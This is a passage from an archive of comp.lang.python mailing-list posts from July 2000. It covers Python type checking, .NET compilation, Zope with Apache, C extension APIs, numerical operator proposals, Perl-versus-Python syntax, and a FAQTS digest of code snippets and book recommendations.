In article <397296BC.415C97E1 at prescod.net>, Paul Prescod
<paul at prescod.net> wrote:

> Matthew Cline wrote:
>> 
>>   def my_func(foo, bar, quux):
>>      if not isinstance(quux, Quux):
>>         raise RuntimeError("param 'quux' must be of class 'Quux'")
> 
> Let me also point out that in many cases, this style of programming
> would be frowned upon by serious Python programmers. For instance,
> if you check that something is a string, your code will complain
> when it is handed a Unicode string, even though it would probably
> work fine. If you check that it is an open file, then your code
> probably will complain about stringIO file-like objects, even though
> it would probably work fine.

That's another reason why I'd like the type checking to be done by the
Python compiler, because it could be intelligent about those things. 
Like for "list" it could accept a tuple, a list, or anything derived
from UserList.




From rgparker at west.net.bbs  Mon Jul 17 21:00:04 2000
From: rgparker at west.net.bbs (rgparker at west.net.bbs)
Date: 18 Jul 2000 01:00:04 GMT
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
Message-ID: <3bRVR3$jO2@openbazaar.net>

Mark,

Do you envision non-MS affiliated groups writing IL-to-native compilers
for other (non-Windows) operating systems?

In other words, will this IL stay as a Windows-only sort of deal?

Also, could Java be compiled to IL if someone wanted to write a compiler
for it?

In news:<8kld9h$489$1 at nnrp1.deja.com>, MarkH at ActiveState.com says...
> In article <Epxa5.13351$Tb7.89807 at news-server.bigpond.net.au>,
>   "Neil Hodgson" <neilh at scintilla.org> wrote:
> >    Now that Microsoft have revealed their Intermediate Language (IL)
> >    virtual machine, are we going to see a version of Python that
> >    compiles directly to IL? Or will Python byte codes still be
> >    interpreted by C code?
>
> Directly to IL - although there is still a runtime that handles some of
> the Python semantics.
>
> This new compiler could be compared, conceptually, with JPython - it is
> a completely new implementation of Python.  It has a compiler that
> generates native Windows .DLL/.EXE files.  It uses a runtime that
> consists of a few thousand lines of C# (C-Sharp) code.  The Python
> programs can be debugged at the source level with Visual Studio 7, as
> well as stand-alone debuggers for this environment.  Python can sub-
> class VB or C# classes, and vice-versa.
>
> Unfortunately, there will not be a public release of their SDK for a
> couple of months - so the only people able to use this compiler are
> people who attended the PDC, and hence have the pre-beta SDK on their
> conference CDs.
>
> The compiler is looking pretty reasonable.  pystone.py (amongst others,
> of course) compiles and runs.
>
> However, this should be quite exciting for the Python community.  The
> general feel of the conference here is that the MS .NET technology is
> exciting and a good thing.  I predict that the Windows community will
> embrace this technology, and having Python be a first-class citizen is a
> good thing!  It _is_ a radical change.
>
> Future work on this compiler will be under the ActiveState banner.
> However, the compiler and the runtime are all open source.  The
> compiler is written in CPython, and uses win32com to get at the
> Reflection::Emit APIs provided by .NET.  All the existing work has been
> done mainly by me, with some code and advice from Greg Stein.  Now the
> NDA is lifted, I hope (some of) the Python community will get behind
> this, and take advantage of the open-sourceness of the compiler and
> runtime, and help us turn this into an excellent language for this
> environment.
>
> All good stuff (IMO, of course)
>
> None of this is speaking for ActiveState - just my personal opinion.
>
> Mark (still at the PDC!)
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
>


From aaron.ginn at motorola.com  Fri Jul  7 16:01:07 2000
From: aaron.ginn at motorola.com (Aaron Ginn)
Date: 07 Jul 2000 13:01:07 -0700
Subject: Flushing sdtout
References: <sn4s61hl9t.fsf@motorola.com> <Jpp95.49747$W35.1083256@news20.bellglobal.com> <8k59fb$2quui$1@fido.engr.sgi.com>
Message-ID: <sn1z15hfr0.fsf@motorola.com>

pj at sgi.com (Paul Jackson) writes:

> Aaron asks:
> |> Is there a simple way to flush stdout on every print
> 
> How about 'python -u':
> 
>       -u   Force stdin, stdout and stderr to be totally
> 	   unbuffered.
> 
> (which I found by grepping for 'setbuf' in the source
> code and tracing backwards to see how it was controlled)


This works fabulously Paul.  Thanks!  This even resolves the issue I
had with the ecohing the input statement strings.

Thanks again!
Aaron

-- 
Aaron J. Ginn                     Motorola SPS
Phone: (480) 814-4463             SemiCustom Solutions
Fax:   (480) 814-4058             1300 N. Alma School Rd.
mailto:aaron.ginn at motorola.com    Chandler, AZ 85226


From skip at mojam.com  Mon Jul 10 17:57:35 2000
From: skip at mojam.com (Skip Montanaro)
Date: Mon, 10 Jul 2000 16:57:35 -0500 (CDT)
Subject: Run Python as separate process with Apache?
In-Reply-To: <MPG.13d3ce54eebafde2989820@news.onlynews.com>
References: <MPG.13d2b8edd0e53f1598981d@news.onlynews.com>
	<14697.3435.929500.668699@beluga.mojam.com>
	<MPG.13d3ce54eebafde2989820@news.onlynews.com>
Message-ID: <14698.18127.840603.46427@beluga.mojam.com>

    Randall> In news:<14697.3435.929500.668699 at beluga.mojam.com>, skip at mojam.com 
    Randall> says...
    Randall> 1) Have a persistent Python process that processes http
    Randall> requests.
    >> 
    >> Yup, Medusa, Zope, the ZServer part of Zope (which is a lightly
    >> touched up Medusa),

    Randall> Is ZServer written in Python? 

Yup.  There may be a helper module or two written in C, but they would be
small things.

    Randall> Is all of Zope a Python-based app server?

Yes, pretty much.

    Randall> I went and looked at the http://www.zope.org site (I've seen
    Randall> Jon Udell rave about it in the past btw) and saw that it sounds
    Randall> like it is somehow more tightly tied to Python than to other
    Randall> scripting languages. Is that correct?

Well, you can write new methods or products in Python and you can write
methods in HTML.  ActiveState is working on methods in Perl I believe, but I 
don't know the timeframe.

    >> or something based on the HTTPServer class in the Python core should
    >> do the trick.  I use ZServer listening on 127.0.0.2 at port 9673 and
    >> have Apache running on the same machine with proxy support.  It then
    >> proxies to the server only those things I want the ZServer to see.

    Randall> So there is a plug-in for Apache that can route requests to
    Randall> ZServer?

I just use mod_rewrite to map interesting requests, e.g.:

    RewriteRule ^/(.*)\.shtml http://127.0.0.2:9673/filter?file=$1.shtml [P] 

which says to map any .shtml requests to the filter method on the ZServer.

    Randall> So this is possible to do with Apache and ZEngine and Apache
    Randall> can still handle all URLs that don't have a leading /webapps
    Randall> pattern?

*Everything* is possible with mod_rewrite... ;-)

    >> My ZServer then talks to a MySQL database using the MySQLdb module.
    >> If you want SQL connection capability I suspect you'll find Zope is
    >> much closer to a complete solution.

    Randall> Does ZServer support other RDBMSs? 

Yes, though I'm not expert enough to know all of them.  I know they support
Gadfly and Oracle.  Don't know about Postgres.

    Randall> With the Servlet API the actual act of asking for a session id
    Randall> causes the Tomcat engine (or any servlet api compliant
    Randall> container) to create one if it already doesn't exist and then
    Randall> to go set a cookie on the client browser all seamlessly without
    Randall> your having to do anything. Then it will do timeouts on the
    Randall> session id based on how long since it was last asked for. I'm
    Randall> hoping I can find something as slick and automatic in the
    Randall> Zope/Python world.

I wouldn't be surprised.  You might want to ask at zope at zope.org.  

-- 
Skip Montanaro, skip at mojam.com, http://www.mojam.com/, http://www.musi-cal.com/
"To get what you want you must commit yourself for sometime" - fortune cookie



From pehr at pehr.net  Thu Jul 20 01:29:56 2000
From: pehr at pehr.net (pehr anderson)
Date: Thu, 20 Jul 2000 05:29:56 GMT
Subject: Locating Python modules
References: <31575A892FF6D1118F5800600846864D4C706A@intrepid>
Message-ID: <39768E53.63C422A3@pehr.net>

Dear Simon, 

Distribution Packages Rant:

In the linux world, this problem is pretty much licked.
People build RPM packages which can be installed with 
a single command.  Every machine keeps an RPM database
to track where all the files went and what to do when you
want to uninstall that package.  If differnet platforms
put python in different places, you end up with 
platform specific "binary" RPMS. No big deal.

RPM can even do a nifty verification test to see if 
any of the files have changed.

Of course, if you are stuck in windows world, you have
to suffer the slings and arrows of maintaining *anything*
under windows. The usual method is install everything on 
top of eachother, then when it gets so messy it starts to break, 
reinstall everything from scratch.


No on to the files themselves:

To keep stuff separate, you don't need everything in your
python path. You can include an __init__.py file in the
subdirectory containing your files.  All this file has
to do is include the relevant modules from that dir.
Look at how __init__.py is used within the python
distribution for more detail. It's pretty simple in the base case.
With __init__.py in place, python will be able to find 
modules hidden in your subdirectory off of the default 
pythonpath directory.

	-pehr

Simon Brunning wrote:
> 
> I'd like to organise the Python modules that I have downloaded in some
> rational fashion. Ideally, I'd like a directory to keep them all in, with
> each in a separate sub-directory. I don't want to keep all these directories
> in my PYTHONPATH.
> 
> Is there some de-facto standard way of organising this?
> 
> If not, what methods of organisation do people use, and what are the pros
> and cons of the various methods?
> 
> Cheers,
> Simon Brunning
> TriSystems Ltd.
> sbrunning at trisystems.co.uk
> 
> -----------------------------------------------------------------------
> The information in this email is confidential and may be legally privileged.
> It is intended solely for the addressee. Access to this email by anyone else
> is unauthorised. If you are not the intended recipient, any disclosure,
> copying, distribution, or any action taken or omitted to be taken in
> reliance on it, is prohibited and may be unlawful. TriSystems Ltd. cannot
> accept liability for statements made which are clearly the senders own.


From achim.domma at syynx.de  Fri Jul 28 11:48:20 2000
From: achim.domma at syynx.de (Achim Domma)
Date: Fri, 28 Jul 2000 17:48:20 +0200
Subject: compile.py
Message-ID: <8ls9ve$9og$15$1@news.t-online.com>

Hi,

I'm looking for compile.py of David Ascher, but it seams that
all links are broken. Could somebody give me a link or send the
file ?

thanks
Achim




From bdupire at seatech.fau.edu.bbs  Mon Jul 17 02:00:01 2000
From: bdupire at seatech.fau.edu.bbs (bdupire at seatech.fau.edu.bbs)
Date: 17 Jul 2000 06:00:01 GMT
Subject: PyArg_NoArgs / PyArg_Parse API
Message-ID: <3bR1g1$hW6@openbazaar.net>

Benoit Dupire wrote:

> PyArgs_NoArg(args) is an API function, used in timemodule.c and not
> referenced in the documentation..
>
> Actually, it's defined as a macro in Python.h
> and is equivalent to PyArg_Parse(args,"")
>
> I didn't see Py_ArgParse in the doc either!

OK I finally find out the answer. Thanks Mark, for your "programming Python"
book!
PyArg_Parse:
takes an object, a format string, and C targets. (like PyArg_ParseTuple)
But PyArg_Parse doesn't expect the Python object to be a tuple. We need to
supply () pairs in the format string to extract parts of returned tuples.

PyArg_Parse is also backward compatible with an older conversion variant
(getargs)
If the third column in a module's name/function  registration table is zero
(or absent), Python passes argument lists using old-style getargs
conventions : the argument list might not be a tuple, so PyArg_Parse is used
to extract values.
But normally the third column in a module's name/function registration task
should be 1, and PyArg_ParseTuple should be used for argument list
conversions

Benoit! :-)


From neilh at scintilla.org  Tue Jul 25 08:29:28 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Tue, 25 Jul 2000 12:29:28 GMT
Subject: Python 3000
References: <8li7ah$ign$1@serv1.albacom.net>
Message-ID: <IKff5.11748$4p3.89549@news-server.bigpond.net.au>

> Anyone knows more about what will be Python 3000 ? It seems that it will
be
> the next evolution of this language, after the 1.7 version. The big issue
is
> that Python 3000 would not be compatible withe the actual 1.n language !?
> How it is possible and what it means ?

   Don't worry. Python 3000 is a dream that Guido has where he can change
Python in an incompatible way. The volume of upset that will ensue should he
try this will quickly force him back in line. BDFL? More slave-for-life than
dictator!

   Your version numbering is a little out of date - 1.6 will be released in
the near future with some quite useful Unicode support, then 2.0 with some
unnecessary features soon after that. 2.0 is called 2.0 to help with
marketing although the sweet spot with version number marketing is 3.11 so
some more unnecessary features will be required soon :-)

   Neil





From Armin at Steinhoff.de  Sat Jul 15 05:26:18 2000
From: Armin at Steinhoff.de (Armin Steinhoff)
Date: 15 Jul 2000 02:26:18 -0700
Subject: Setting a C-structure from Python
References: <39649D5C.F1652171@seatech.fau.edu> <396F6449.F2E63F85@seatech.fau.edu>
Message-ID: <8kpanq$2t99@drn.newsguy.com>

In article <396F6449.F2E63F85 at seatech.fau.edu>, Benoit says...
>
>
>Armin wrote:
>--------------------------------------------------------------
>
> I have changed your code in the following way:
>
> static PyObject * test_setstruct(PyObject * self, PyObject * args) {
> //PyObject * string_from_python;
>
> char * string_from_python;
> int len;
>
> // if (!PyArg_ParseTuple(args,"S",&string_from_python)) return NULL;
> if (!PyArg_ParseTuple(args,"s#",&string_from_python, &len)) return NULL;
>
> // example= (examplestruct *) PyString_AsString(string_from_python);
>example= (examplestruct *) string_from_python;
>
> // Py_DECREF(string_from_python);
> print_struct();
>
> Py_INCREF(Py_None);
> return Py_None;
> }
> ----------------------------------------------------
>
>Ok it works too! You convert the PythonString in a C string representation
>right away with PyArgs_ParseTuple.
>
>
>
>Now, I changed the test_getstruct function in the same way..
>
>static PyObject * test_getstruct(PyObject * self, PyObject * args)
>{
> if (!PyArg_ParseTuple(args,"")) return NULL;
                             ^^ ???

> return Py_BuildValue("s",(char *)exampleptr);
                        ^             ^
                       "s#"      exampleptr, len);

 ... then it should work :-)

Greetings

Armin

BTW ... remove in the qnx_send procedure the Py_BuildValue() call ... its
garbage. ( 'qnxmodule' )


>}
>
>
>Yes.. it was too easy : it doesn't work :
>    Traceback (innermost last):
>      File "<stdin>", line 1, in ?
>      File
>"//1/old_home/bdupire/Alpha/morpheus/Python-1.5.2/Lib/my_prog/structure.py",
>line 24, in ?
>       a =struct.unpack(fmt,rec)
>struct.error: unpack str size does not match format
>
>So my question is the following: how to tell Py_BuildValue about the size of
>the structure and the number of bytes to grab ?
>



From hzhu at localhost.localdomain  Thu Jul 13 15:05:38 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Thu, 13 Jul 2000 19:05:38 GMT
Subject: Changing the class of an instance
References: <8ki9bf$2pg3$1@pc-news.cogsci.ed.ac.uk> <396CB0D3.8F7BC8E5@prescod.net> <slrn8mpn08.17c.hzhu@rocket.knowledgetrack.com> <m3em4z7y14.fsf@greebo.nodomain.de>
Message-ID: <slrn8ms4un.sj.hzhu@localhost.localdomain>

On 13 Jul 2000 01:02:15 +0200, Bernhard Herzog <herzog at online.de> wrote:

>In this case I think a factory function would be much cleaner:
>
>def instantiate(data):
>	if data is something:
>		return Special1(data)
>	else:
>		return Special2(data)
>
>Putting knowledge about what derived classes exist into the base class
>is the wrong approach, IMO. You obviously have to have knowledge about
>the derived classes somewhere in the code, and the right place for that
>is a factory function or something similar outside of the class
>hierarchy.
>

In the examples I have in mind, most knowledge about the data is held in the
base class.  The derived classes only override a few method in applications.
So I suppose your suggestion would be like 

def instantiate(data):
	General.preprocess(data)
	if General.someproperty(data):
		return Special1(data)
	else:
		return Special2(data)

Yes, it looks cleaner because there will not be any issue with overrided
__init__ or the like.

Several others have said that in this case there is no need to have the base
class.  Of course this is only true of the example, but not of the real
situation from which it's abstracted.

Huaiyu 


From Ed_Stauff at avid.com  Sun Jul 30 20:39:07 2000
From: Ed_Stauff at avid.com (Ed Stauff)
Date: Mon, 31 Jul 2000 00:39:07 -0000
Subject: Why won't Python connect to C++ socket on NT?
Message-ID: <8m2hrb+g395@eGroups.com>

I'm trying to get a Python TCP client to talk to a C++ TCP server via 
sockets, and I keep getting "connection refused".  I have no 
trouble getting a C++ client and a C++ server to talk to each other, 
and I can get two Python interpreters to connect to each other via 
sockets.  But I can't seem to get Python to connect via sockets 
to any server written in C++.  One sample server is extremely 
simple, taken from Comer's TCP/IP book.  The few lines of Python code 
I'm using are taken right from the example given in the socket 
module.

What could be going wrong?  I'm a newbie at Python and sockets, but 
experienced in C++.  I'm using Python 1.5.2 on Windows NT; the C++ 
code is in Visual C++ 6.  My client and server are (for testing 
purposes anyway) running on the same machine.  Any help will be 
greatly appreciated!

Thanks,

-- Ed





From hinsen at cnrs-orleans.fr  Fri Jul 21 06:08:23 2000
From: hinsen at cnrs-orleans.fr (Konrad Hinsen)
Date: 21 Jul 2000 12:08:23 +0200
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <8l7c80$mlc$1@tomm.stsci.edu> <39777941.1A85F3CA@STScI.Edu> <slrn8nf2it.rb.hzhu@localhost.localdomain>
Message-ID: <m3u2dj7q3s.fsf@chinon.cnrs-orleans.fr>

hzhu at localhost.localdomain (Huaiyu Zhu) writes:

> As far as I'm aware, multiarray necessarily involves indices.  So infix
> operators are not so useful, until a class with index labels are defined.

I tend to agree, at least when N-d arrays are used to represent rank-N
tensors. Moreover, there aren't many applications where rank-N tensors
are needed in *numerical* code. This should not be our main concern for
infix operators.

However, higher-rank arrays are often used with a different
interpretation: arrays of vectors or matrices. For example, I might
have a rotation matrix at each time step of some simulation, or a
polarizability tensor for each particle. For these cases it makes
sense to extend the meaning of the infix operators to higher-rank
arrays.

The cleanest concept (in my opinion) is the one implemented in J,
where an array has (conceptually) a "data rank" and a "value rank",
the sum of the two being the rank, i.e. the number of indices. For
example, an array of rank 3 could be interpreted as a list of matrices
(data rank 1, value rank 2), as a matrix of vectors (data rank 2,
value rank 1), or as a 3-d array of scalars (data rank 3, value rank
0). In J the data and value ranks are not properties of the arrays,
but of the operators, whose value rank can be modified. In the early
days of NumPy development, I proposed this model for NumPy as well,
but there was no majority for it. And I agree that there are not so
many practical cases where this mechanism is necessary. However,
it nicely illustrates how one would extend vector and matrix operations
to higher-dimensional data.
-- 
-------------------------------------------------------------------------------
Konrad Hinsen                            | E-Mail: hinsen at cnrs-orleans.fr
Centre de Biophysique Moleculaire (CNRS) | Tel.: +33-2.38.25.55.69
Rue Charles Sadron                       | Fax:  +33-2.38.63.15.17
45071 Orleans Cedex 2                    | Deutsch/Esperanto/English/
France                                   | Nederlands/Francais
-------------------------------------------------------------------------------


From michael at stroeder.com  Mon Jul  3 04:54:57 2000
From: michael at stroeder.com (Michael =?iso-8859-1?Q?Str=F6der?=)
Date: Mon, 03 Jul 2000 10:54:57 +0200
Subject: Python CGI security
References: <B5851962.5E%bojar@speakeasy.org>
Message-ID: <396054E1.ED99677C@stroeder.com>

"E. Jordan Bojar" wrote:
> 
> Are there security issues particular to (or common with) Python CGIs,

Additional info:
- Have a close look at all os.system() and os.popen() calls.
- Use smptlib instead calling sendmail via os.system().
- Build a framework for strict form parameter checking. (I have such
a module. Feel free to ask for it.)

Ciao, Michael.


From ssthapa at midway.uchicago.edu  Wed Jul 12 01:39:04 2000
From: ssthapa at midway.uchicago.edu (Suchandra Thapa)
Date: Wed, 12 Jul 2000 05:39:04 GMT
Subject: finding mount points
References: <slrn8mnrur.sas.ssthapa@ntcs-ip48.uchicago.edu> <396C0076.4A6547A3@mastnet.net>
Message-ID: <slrn8mo1el.t0s.ssthapa@ntcs-ip48.uchicago.edu>

John Clonts <jclonts at mastnet.net> wrote:
>Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>>> import posixpath
>>>> posixpath.ismount("/")
>1
>>>> posixpath.ismount("/mnt")
>0
>>>> posixpath.ismount("/mnt/dosd")
>1
>>>> posixpath.ismount("/home")
>1
>>>> posixpath.ismount("/home/john")
>0

    Actually, I wanted something like 
>>>mountpoint('/home/john') 
>/home
>>>mountpoint('/home')
>/home

I suppose I could do a recursive solution where I start with the full path
and take away directories and check to see if its a mount point using 
ismount but I was hoping there was a module or way to find the mount point
directly. 


-- 
------------------------------------------------------------------

Suchandra S. Thapa 
s-thapa at uchicago.edu

------------------------------------------------------------------


From huaiyu_zhu at yahoo.com  Tue Jul 18 20:21:04 2000
From: huaiyu_zhu at yahoo.com (Huaiyu Zhu)
Date: Tue, 18 Jul 2000 17:21:04 -0700 (PDT)
Subject: On special syntax (was Re: Matlab vs Python ...)
Message-ID: <Pine.LNX.4.10.10007181712170.22086-100000@rock.localdomain>

I sent this out this morning and it hasn't appeared.  Sorry if it
duplicates. 


On Tue, 18 Jul 2000, Moshe Zadka wrote:
[snip: a long python code and short perl equivalent]

> It's more verbose, and people are able to understand it without learning
> weird corners of the language. (BTW: as a former Perl hacker, I find the
> Perl code *extremely* readable, and I spend more time understanding the
> Python code. But that doesn't change the fact that Perl took me longer to
> master then Python, and even then I didn't really understand Perl. For
> example, could I lose the ";" in the Perl code? I think so, but I'm not
> sure)
> 

Ok, since the issue of additional binary operators has been repeatedly
compared with various features of Perl that people dislike, without much
details, it might be worthwhile to give it some more thoughts here.  We've
already seen that the "it has a small userbase" argument is largely vacuous.
I hope to show "it is like Perl" argument is also of similar nature.

So let me first describe what I dislike Perl.  The best I can summarize
include these aspects:

1. There are many special syntax zones: 
- The formats
- The here document
- The regular expressions
- Things within ${...}, @{...}, %{...}, etc
- trailing if, unless, etc
- file handling
- BEGIN {...} END {...}
- some other things that doesn't come to mind :-)

I say special syntax zone instead of special syntax constructs because these
things do not really have their own scope.  They are not atomic.  For
example, you can have different levels of variable substitution within
regular expressions.

The disadvantage of this is that these things really all live in a larger
scope but they still play by their own rules.  You have to switch your
mental context going from one zone to the other.

In contrast, python has very few special syntax zones.  For example, a
string literal has its own rule, whether it is used for formats, multiline
strings or regular expression.  They interact only through given interface,
like as arguments or return values of a function.  If you can use multiline
string in print statements, you can also use it elsewhere string is used.

2. The scope, precedence and context of the special zones vary greatly:
- It is hard to know where do $_, $1, etc get values
- regular expression can be like s/2+3/t+1/g, which is also valid math
  formula.  
- evaluation of rhs of assignment also depend on the context coming from
  lhs: list or scalar.  The whole thing can be part of expression.
- classes defined with package statement with silly scoping rules.
- print<<<EOF is a delimiter that doesn't work everywhere.
- You can't just substitute a name with its content. For example, @a is an
  array but its element is denoted $a[0]. Therefore only a is the name. But
  %a can be a completely different thing. 
- many other things that doesn't come to mind.

The disadvantage is that not only it requires to switch mental context, but
it make it difficult to figure out exactly which one to switch to, when.

In contrast, in python almost everything can be assigned to a name.  You can
substitute a name with its contents almost everywhere.  Scoping is simple.

3. There are too many magic variable and other hooks:
- The $_ $\, etc changes all aspects of both syntax and semantics.  You have
  to keep them all in mind to understand current code.
- Many magic things are invisible and automatic.  Even if you do not set
  them, you still need to remember all the defaults.
- name globbing using *var puts unrelated things that happen to share a
  name (array, hash, file handle, etc) together.
- many other things that I don't even know.

The disadvantage is that you also need to keep all the implicit things in
mind when reading code.

In contrast, python has very little implicit things.  The only magic things
are almost always given as methods of the form __iamspecial__.


If I could summarize the above I would say that the main disadvantage of
Perl is it has too much interdependencies so you either understand the whole
program or you don't understand at all.  It may be great for short programs
but terrible for large programs.

There is also a perception that Perl has too many special symbols that makes
Perl code look like line noise.  However, if we look carefully, the fault of
special symbols is not that they are non-alphanumeric, but that they
introducing scoping rules.  You have to really think hard to decipher the
scoping of things like @{$a->{$b}}[2].  (Sorry if it is wrong - I'm forgetting
how to make it right now.)


Now back to our topic.  Which aspect of the new operators look like Perl?
1. They do not introduce a special syntax zone.  Or if you insist, they
   introduce special zones of two characters.
2. They do not have any ambiguity of scoping, precedence and context. They
   obey exactly the same rules of the old operators.  They always appear
   between two objects, and produce a new object.  The operations do not
   depend on context other than precedence.
3. There are no more magic things than the definition __dotmul__ etc that
   associates the symbol with method name, just like other operators do.

There might be an argument that special characters are hard to read.  As I
said, they are hard to read mainly because of their magical effects.
Operator names have even less such effects than the familiar python
constructs like quote, bracket, colon and indentation.  Of course if it gets
too long like @#$% it will be causing readability problem of its own.  I
don't think we are going that route if they are defined within each module
through __methodname__.

In contrast, several of proposals for avoiding the new operators do look to
me like introducing special syntax zone delimited by various combination of
arcane combination of symbols.

I see the new operators as introducing absolutely no long range
interdependencies other than reusing existing operator precedence. 

I hope this clarifies some issue concerning just how special are these new
operators.  If there are examples comparing them with proposed special
syntax rules for xml, sql etc, please describe what they are, what they are
for, why they are not good, why the alternative is better, and what aspects
can summarize the comparison.  I'm sure we'd all be wiser after reading
those.

Huaiyu





From fiona at sitegnome.com  Tue Jul 11 07:54:16 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: 11 Jul 2000 11:54:16 -0000
Subject: [FAQTS] Python Knowledge Base Update -- July 11th, 2000
Message-ID: <20000711115416.17399.qmail@synop.com>

Hello All,

Another instalment of edited, or newly entered, entries into 
http://python.faqts.com

regards,

Fiona Czuczman

including:

- module for continued fractions, useful for finding optimal fractional 
approximation to real numbers
- How do I use Windows API in Python? With an example please.
- I'm new to Python and would appreciate advice on what book(s) I should 
be looking at?
- Is there a utility to convert module docstrings to HTML for nice 
documentation?
- What is lambda?


## New Entries #################################################


-------------------------------------------------------------
module for continued fractions, useful for finding optimal fractional approximation to real numbers
http://www.faqts.com/knowledge-base/view.phtml/aid/4649
-------------------------------------------------------------
Fiona Czuczman
Huaiyu Zhu

#!/usr/bin/env python
# (C) 2000 Huaiyu Zhu <hzhu at users.sourceforge.net>.      Licence: GPL
# $Id: ContFrac.py,v 1.3 2000/07/10 05:09:11 hzhu Exp $
"""
ContFrac.py - Continued fraction approximation utilities
        Convert between float, continued fraction and fractions.
        Useful for finding optimal rational approximation at any 
precision.
Usage examples: python ContFrac.py
Representation:
        Continued fraction: list of integers.
        Ordinary fraction: pair of long integers. 
Optional variables in the functions:
        nterm: max number of terms in continued fraction.
        prec:  precition (inverse relative error) - maybe too 
conservative?
"""

def cf2real(cf):
        "Convert to float from continued fraction"
        x = 0.
        for i in range(1,len(cf)+1):            x = 1./(cf[-i] + x)
        return  1./x

def real2cf(x, prec=1e16, nterms=40):
        "Convert to continued fraction from float"
        cf = [];        p = 1.; a = 1
        for i in range(nterms):
                a, a0 = int(x), long(a)
                cf.append(a)
                p = p * (abs(a*a0) + 1)
                if p > prec or abs(x-a)<1e-12: break
                x = 1./(x-a)
        "Merge last term if it is one, so the expression is unique"
        n = len(cf)-1
        if cf[n] == 1: cf[n-1]=cf[n-1]+1; del cf[n]
        return cf

def cf2frc(cf, prec=1e16):
        "Convert to fraction from continued fraction"
        "Estimates term n that achieves precision - need better 
algorithm"
        p = 1.; n = 0
        for n in range(1, len(cf)):
                p = p * (cf[n-1]*(cf[n]+.5)+1)
                if p >= prec: break

        "Conversion using first n terms"
        x, y = long(cf[n]), 1L
        for i in range(n):
                x, y = x*cf[n-1-i] + y, x
        return  x, y

def frc2cf(frc):
        "Convert to continued fraction from fraction"
        cf = []
        x, y = frc
        while 1:
                if y == 0: break
                a, b  = x/y, x%y
                cf.append(a)
                x, y = y, b
        return cf
                   
#------------------------------------------------------------------
def test(x, prec, nterms):
        print "Convert %.16f to continued fraction and back to float" % 
x
        cf = real2cf(x, nterms=nterms)
        print cf,  cf2real(cf)

        print "Convert to fraction and back to float, limit precision: 
%g" %prec
        print "num. of terms                     fraction       float   
        error"
        for n in range(1, nterms+1):
                f = cf2frc(cf[:n], prec)
                r = f[0]/float(f[1])
                print "%2d      %33s  % .16f  %- 8.4g" % (n, f, r, 
r/x-1)
        
if __name__ == "__main__":
        from math import pi, exp, sqrt

        print "------------ Effect of too much precision and terms 
------------"
        test(-0.6667, prec=1e19, nterms=6)

        print "------------ Effect of limited number of terms 
----------------"
        test(pi, prec=1e16, nterms=6)

        print "------------ Effect of limited of precision 
--------------------"
        test(exp(1), prec=1e4, nterms=9)
        # Interesting pattern in continued fraction of e.

        print "------------ Conversion between fraction and continued 
fraction"
        cf = real2cf(1/sqrt(2), nterms=17); print cf
        f = cf2frc(cf); print f
        cf1 = frc2cf(f); print cf1
        if cf == cf1: print "Idential"
        else: print "Something wrong"


-------------------------------------------------------------
How do I use Windows API in Python? With an example please.
http://www.faqts.com/knowledge-base/view.phtml/aid/4651
-------------------------------------------------------------
Fiona Czuczman
Neil Hodgson

You should grab Mark Hammond's Win32 extensions from
http://starship.python.net/crew/mhammond/ which includes the Pythonwin 
development environment.

For an example, start Pythonwin, and you should an Interactive Window.
Into that window type (just the bit after ">>>"):
>>> import win32api
    this loads definitions of the core Windows API.
    Then call an API with
>>> win32api.Beep(3000,300)

As you press the "." a list of the available calls should appear. You 
can continue typing or select an item and press Tab to enter that item.

Pressing enter after this typing will execute the code and produce a
noise - hope you have a sound card.

The online help lists all of the APIs wrapped by the Win32 extensions 
which includes a good proportion of the entire Win32 API. For complete 
descriptions of each API, you will want access to MSDN, either online at 
http://msdn.microsoft.com or by downloading the Platform SDK from the 
same site. There is a book by Mark and Andy called "Python Programming 
on Win32" which contains a lot of pages and a decent cover illustration.


## Edited Entries ##############################################


-------------------------------------------------------------
I'm new to Python and would appreciate advice on what book(s) I should be looking at?
http://www.faqts.com/knowledge-base/view.phtml/aid/2795
-------------------------------------------------------------
Fiona Czuczman
Chris Lada, Snoopy :-)), Paul Winkler, Dana Booth, Frank V. Castellucci,richard_chamberlain,Alessandro Bottoni

There a lots,

Go to http://www.python.org/psa/bookstore/

for a list.  The manning and oreilly books have sample chapters online 
you could look at.

A range of books that should be useful when starting out with Python:

- "Quick Python" by Harms, and McDonald.

- If you already program, David Beasly's "Python Essential Reference" is 
very good. Another plus is that the book is high quality. It covers 
1.5.2, is tight fast text with no little fluffy animal or snakes 
writhing through the text, just down to the bone reading.

Snoopy :-)) wrote:

If you are New to Programming, then In addition to the Tutorials found 
on Python's Home Page, you should get as the 1st. choice "Teach Yourself 
Python in 24hrs".

BTY: "Learning Python" is also a very good book, but as a Newbie I found 
it quite overwhelming, to the point that I almost stopped learning 
Python. On the other hand I am very happy that I bought the "Teach 
Yourself Python in 24hrs". I find it considerable easier to comprehend 
the concepts, etc.

You can read the book online at the following:
                        http://www.pauahtun.org/TYPython/

Paul Winkler wrote:

OTOH, I got "Learning Python" and I've found that after reading just
the first half of the book and doing maybe 1/4 of the exercises, I
had a very good grasp of the language, including classes and
exceptions (both new ideas to me). From there the next step is to
skim the second half looking for useful bits, or poke around in the
library reference manual.

But then, it did take more than 24 hours. :)

[Alessandro Bottoni]
        I LOVE this book: 
        "Learning Python" by Mark Lutz and David Ascher
        Published by O'Reilly
        ISBN 1565924649
        It is concise, exhaustive, clean and well-organized.

> How about a book about Python and XML?
 
        [Alessandro Bottoni]
        There is just one, and it is quite good: 
        "XML processing with Python"
        By Sean McGrath
        Published by Prentice-Hall
        ISBN 013211192

> How about a book about Python for web site development?

        [Alessandro Bottoni]
        Unfortunately, the only existing book on this topic is out of 
print:
        "Internet Programming with Python"
        By Aaron Watters and James Ahlstrom
        Published by M&T Books
        ISBN 1558514848

        If you are working on Windows, buy this book:
        "Python Programming on Win32"
        By Mark Hammond and Andy Robinson
        Published by O'Reilly
        ISBN 1565926218

        If you have to develop GUIs, buy this book:
